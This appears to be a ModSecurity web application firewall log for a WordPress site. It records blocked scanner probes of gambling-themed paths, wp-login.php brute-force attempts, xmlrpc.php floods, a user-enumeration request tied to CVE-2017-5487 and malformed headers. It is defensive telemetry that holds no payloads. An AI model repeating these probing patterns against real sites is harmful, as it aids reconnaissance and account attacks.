[Sun Mar 15 16:48:24.072782 2026] [:error] [pid 45974:tid 45986] [client 54.37.252.59:39210] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abZyWBWn4R6u72Segeio_QAAAgo"]
[Sun Mar 15 16:48:26.241402 2026] [:error] [pid 45974:tid 45976] [client 54.37.252.59:45280] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abZyWhWn4R6u72SegeipBQAAAgA"]
[Sun Mar 15 16:48:28.161657 2026] [:error] [pid 50986:tid 51013] [client 54.37.252.59:45288] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abZyXCknK4c779bcQqGEpwAAAVg"]
[Sun Mar 15 16:48:29.997029 2026] [:error] [pid 50986:tid 51006] [client 54.37.252.59:45298] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abZyXSknK4c779bcQqGErwAAAVE"]
[Sun Mar 15 16:48:32.031650 2026] [:error] [pid 45801:tid 45818] [client 54.37.252.59:45308] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abZyYIaKHL9CTKoVzTAV8wAAAc8"]
[Sun Mar 15 16:48:34.077615 2026] [:error] [pid 45801:tid 45827] [client 54.37.252.59:45320] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abZyYoaKHL9CTKoVzTAV_AAAAdg"]
[Sun Mar 15 16:48:35.998597 2026] [:error] [pid 38540:tid 38591] [client 54.37.252.59:57628] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abZyY18bnHsJ1dE90bJgBAAAAEU"]
[Sun Mar 15 16:48:37.880684 2026] [:error] [pid 38540:tid 38588] [client 54.37.252.59:57638] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abZyZV8bnHsJ1dE90bJgCAAAAEI"]
[Sun Mar 15 16:48:39.720785 2026] [:error] [pid 50986:tid 50989] [client 54.37.252.59:57642] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abZyZyknK4c779bcQqGEwgAAAUE"]
[Sun Mar 15 16:48:41.648369 2026] [:error] [pid 9995:tid 10000] [client 54.37.252.59:57658] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abZyaQa8xkcaSmgTbwhkuQAAAQI"]
[Sun Mar 15 16:48:43.572037 2026] [:error] [pid 38536:tid 38573] [client 54.37.252.59:57664] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abZya_pTEqkVJ0rBEWv9jQAAABQ"]
[Sun Mar 15 16:48:45.711627 2026] [:error] [pid 50986:tid 51005] [client 54.37.252.59:36610] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abZybSknK4c779bcQqGE0wAAAVA"]
[Sun Mar 15 16:48:47.889988 2026] [:error] [pid 50986:tid 50989] [client 54.37.252.59:36622] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abZybyknK4c779bcQqGE3wAAAUE"]
[Sun Mar 15 16:48:49.804559 2026] [:error] [pid 42570:tid 42597] [client 54.37.252.59:36624] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abZyccIUXZJLmk_gYCPy0wAAAZg"]
[Sun Mar 15 16:48:51.875393 2026] [:error] [pid 38536:tid 38568] [client 54.37.252.59:36634] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abZyc_pTEqkVJ0rBEWv9kgAAAA8"]
[Sun Mar 15 16:48:53.830179 2026] [:error] [pid 42570:tid 42583] [client 54.37.252.59:36638] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abZydcIUXZJLmk_gYCPy1QAAAYo"]
[Sun Mar 15 16:48:55.740010 2026] [:error] [pid 38540:tid 38608] [client 54.37.252.59:43154] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abZyd18bnHsJ1dE90bJgEgAAAFY"]
[Sun Mar 15 16:48:57.663797 2026] [:error] [pid 45801:tid 45827] [client 54.37.252.59:43168] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abZyeYaKHL9CTKoVzTAWJAAAAdg"]
[Sun Mar 15 16:48:59.702992 2026] [:error] [pid 38645:tid 38670] [client 54.37.252.59:43176] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abZyexFPHtsDUuVrWDZslQAAANc"]
[Sun Mar 15 16:49:01.524343 2026] [:error] [pid 38540:tid 38609] [client 54.37.252.59:43192] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abZyfV8bnHsJ1dE90bJgEwAAAFc"]
[Sun Mar 15 16:49:03.413849 2026] [:error] [pid 50986:tid 51001] [client 54.37.252.59:43208] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abZyfyknK4c779bcQqGE-AAAAUw"]
[Sun Mar 15 16:49:05.354383 2026] [:error] [pid 50986:tid 50996] [client 54.37.252.59:50200] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abZygSknK4c779bcQqGE-wAAAUc"]
[Sun Mar 15 16:49:07.259922 2026] [:error] [pid 38645:tid 38663] [client 54.37.252.59:50206] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abZygxFPHtsDUuVrWDZsnwAAANA"]
[Sun Mar 15 16:49:09.314092 2026] [:error] [pid 38645:tid 38671] [client 54.37.252.59:50218] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abZyhRFPHtsDUuVrWDZspgAAANg"]
[Sun Mar 15 16:49:11.408872 2026] [:error] [pid 38645:tid 38659] [client 54.37.252.59:50230] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "abZyhxFPHtsDUuVrWDZsrgAAAMw"]
[Sun Mar 15 16:49:13.520897 2026] [:error] [pid 9995:tid 10001] [client 54.37.252.59:50240] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "abZyiQa8xkcaSmgTbwhkxgAAAQM"]
[Sun Mar 15 16:49:15.432822 2026] [:error] [pid 38645:tid 38659] [client 54.37.252.59:56804] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "abZyixFPHtsDUuVrWDZssQAAAMw"]
[Sun Mar 15 17:42:29.625964 2026] [:error] [pid 38645:tid 38664] [client 43.133.66.51:57980] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abZ_BRFPHtsDUuVrWDZ6EgAAANE"]
[Sun Mar 15 19:19:46.957670 2026] [:error] [pid 42570:tid 42586] [client 223.244.35.77:47190] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abaV0sIUXZJLmk_gYCMH3gAAAY0"]
[Sun Mar 15 20:23:52.529141 2026] [:error] [pid 9995:tid 10019] [client 103.145.51.107:41414] [client 103.145.51.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.145.51.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abak2Aa8xkcaSmgTbwiCdwAAARU"]
[Sun Mar 15 20:23:53.961699 2026] [:error] [pid 9995:tid 10000] [client 103.145.51.107:41414] [client 103.145.51.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.145.51.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abak2Qa8xkcaSmgTbwiCegAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 20:42:16.575802 2026] [:error] [pid 45974:tid 45986] [client 104.234.53.74:59127] [client 104.234.53.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abapKBWn4R6u72SegejPmQAAAgo"]
[Sun Mar 15 21:03:18.833079 2026] [:error] [pid 38541:tid 38619] [client 104.234.53.90:24627] [client 104.234.53.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abauFnuOpex8jIO0jt6b8AAAAIY"]
[Sun Mar 15 21:21:59.080301 2026] [:error] [pid 38645:tid 38659] [client 104.234.53.55:64667] [client 104.234.53.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abaydxFPHtsDUuVrWDbKMwAAAMw"]
[Sun Mar 15 21:41:35.813176 2026] [:error] [pid 38536:tid 38577] [client 104.234.53.50:39623] [client 104.234.53.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aba3D_pTEqkVJ0rBEWsR2gAAABg"]
[Sun Mar 15 22:24:24.731875 2026] [:error] [pid 50986:tid 50993] [client 34.75.170.28:64416] [client 34.75.170.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.170.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBGCknK4c779bcQqH7OAAAAUU"]
[Sun Mar 15 22:24:28.278404 2026] [:error] [pid 50986:tid 50990] [client 34.75.170.28:64416] [client 34.75.170.28] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "abbBHCknK4c779bcQqH7OwAAAUI"]
[Sun Mar 15 22:24:29.797036 2026] [:error] [pid 50986:tid 50992] [client 34.75.170.28:64416] [client 34.75.170.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.170.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBHSknK4c779bcQqH7PQAAAUQ"]
[Sun Mar 15 22:24:31.904922 2026] [:error] [pid 42570:tid 42593] [client 34.75.170.28:63515] [client 34.75.170.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.170.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBH8IUXZJLmk_gYCMeKgAAAZQ"]
[Sun Mar 15 22:24:34.006294 2026] [:error] [pid 45801:tid 45818] [client 34.75.170.28:53057] [client 34.75.170.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.170.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBIoaKHL9CTKoVzTBhDAAAAc8"]
[Sun Mar 15 22:24:36.035038 2026] [:error] [pid 45801:tid 45815] [client 34.75.170.28:58464] [client 34.75.170.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.170.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBJIaKHL9CTKoVzTBhEgAAAcw"]
[Sun Mar 15 22:24:38.036145 2026] [:error] [pid 45974:tid 45977] [client 34.75.170.28:49208] [client 34.75.170.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.170.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBJhWn4R6u72SegejeqwAAAgE"]
[Sun Mar 15 22:24:38.036314 2026] [:error] [pid 45974:tid 45977] [client 34.75.170.28:49208] [client 34.75.170.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.75.170.28, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abbBJhWn4R6u72SegejeqwAAAgE"]
[Sun Mar 15 22:41:58.336920 2026] [:error] [pid 38645:tid 38647] [client 43.135.140.225:46752] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abbFNhFPHtsDUuVrWDbr8QAAAMA"]
[Sun Mar 15 23:00:03.765420 2026] [:error] [pid 38645:tid 38657] [client 104.234.53.63:27259] [client 104.234.53.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abbJcxFPHtsDUuVrWDby7gAAAMo"]
[Sun Mar 15 23:44:38.502888 2026] [:error] [pid 42570:tid 42576] [client 43.163.206.70:34508] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abbT5sIUXZJLmk_gYCMmkwAAAYM"]
[Mon Mar 16 00:35:40.747767 2026] [:error] [pid 60947:tid 61021] [client 207.7.91.167:44066] [client 207.7.91.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.7.91.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abbf3P8DVbvyAQDJWh1KKgAAANI"]
[Mon Mar 16 00:35:42.677074 2026] [:error] [pid 60947:tid 61020] [client 207.7.91.167:44066] [client 207.7.91.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.7.91.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abbf3v8DVbvyAQDJWh1KLQAAANE"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 16 02:06:54.797489 2026] [:error] [pid 60679:tid 60796] [client 177.38.154.7:17432] [client 177.38.154.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.38.154.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abb1PpnX8fEKZeqoouEnbQAAAFE"]
[Mon Mar 16 02:16:42.371251 2026] [:error] [pid 60666:tid 60752] [client 182.43.70.143:52229] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abb3ihLlrGpRCJDg8VLx-QAAAAA"]
[Mon Mar 16 02:58:12.146820 2026] [:error] [pid 60947:tid 61015] [client 216.73.216.103:39540] [client 216.73.216.103] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "abcBRP8DVbvyAQDJWh2B1wAAAM0"]
[Mon Mar 16 04:07:19.097973 2026] [:error] [pid 62529:tid 62544] [client 185.59.44.60:33202] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abcRdz84-luOVYZKK0M4fQAAAMc"]
[Mon Mar 16 04:07:22.177412 2026] [:error] [pid 62429:tid 62514] [client 185.59.44.60:33446] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abcRelewIPukhLCowEGYRQAAAJI"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 16 04:16:36.371873 2026] [:error] [pid 62429:tid 62504] [client 43.159.148.221:34426] [client 43.159.148.221] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abcTpFewIPukhLCowEGclQAAAIg"]
